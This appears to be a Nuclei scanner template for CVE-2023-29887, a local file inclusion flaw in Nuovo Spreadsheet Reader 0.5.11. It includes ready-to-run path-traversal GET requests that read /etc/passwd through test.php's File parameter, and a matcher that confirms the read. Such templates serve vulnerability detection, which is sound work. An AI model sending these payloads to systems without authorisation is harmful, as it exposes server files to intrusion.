id: CVE-2023-29887 info: name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion author: ctflearner severity: high description: | A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server. remediation: | Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability. reference: - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/ - https://github.com/nuovo/spreadsheet-reader/issues/169 - https://nvd.nist.gov/vuln/detail/CVE-2023-29887 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-29887 cwe-id: CWE-22 epss-score: 0.00439 epss-percentile: 0.721 cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: nuovo product: spreadsheet-reader tags: cve,cve2023,nuovo,spreadsheet-reader,lfi http: - method: GET path: - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd" - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd" stop-at-first-match: true matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 490a004630440220470409738c385ddbd99b59e6f19140e2e8e65d4845097dcb8967eadaca9079a602206a70d7d879165a4b8b3a541d63768e35ce9f54257866c63851c3ebba4b7690d4:922c64590222798bb761d5b6d8e72950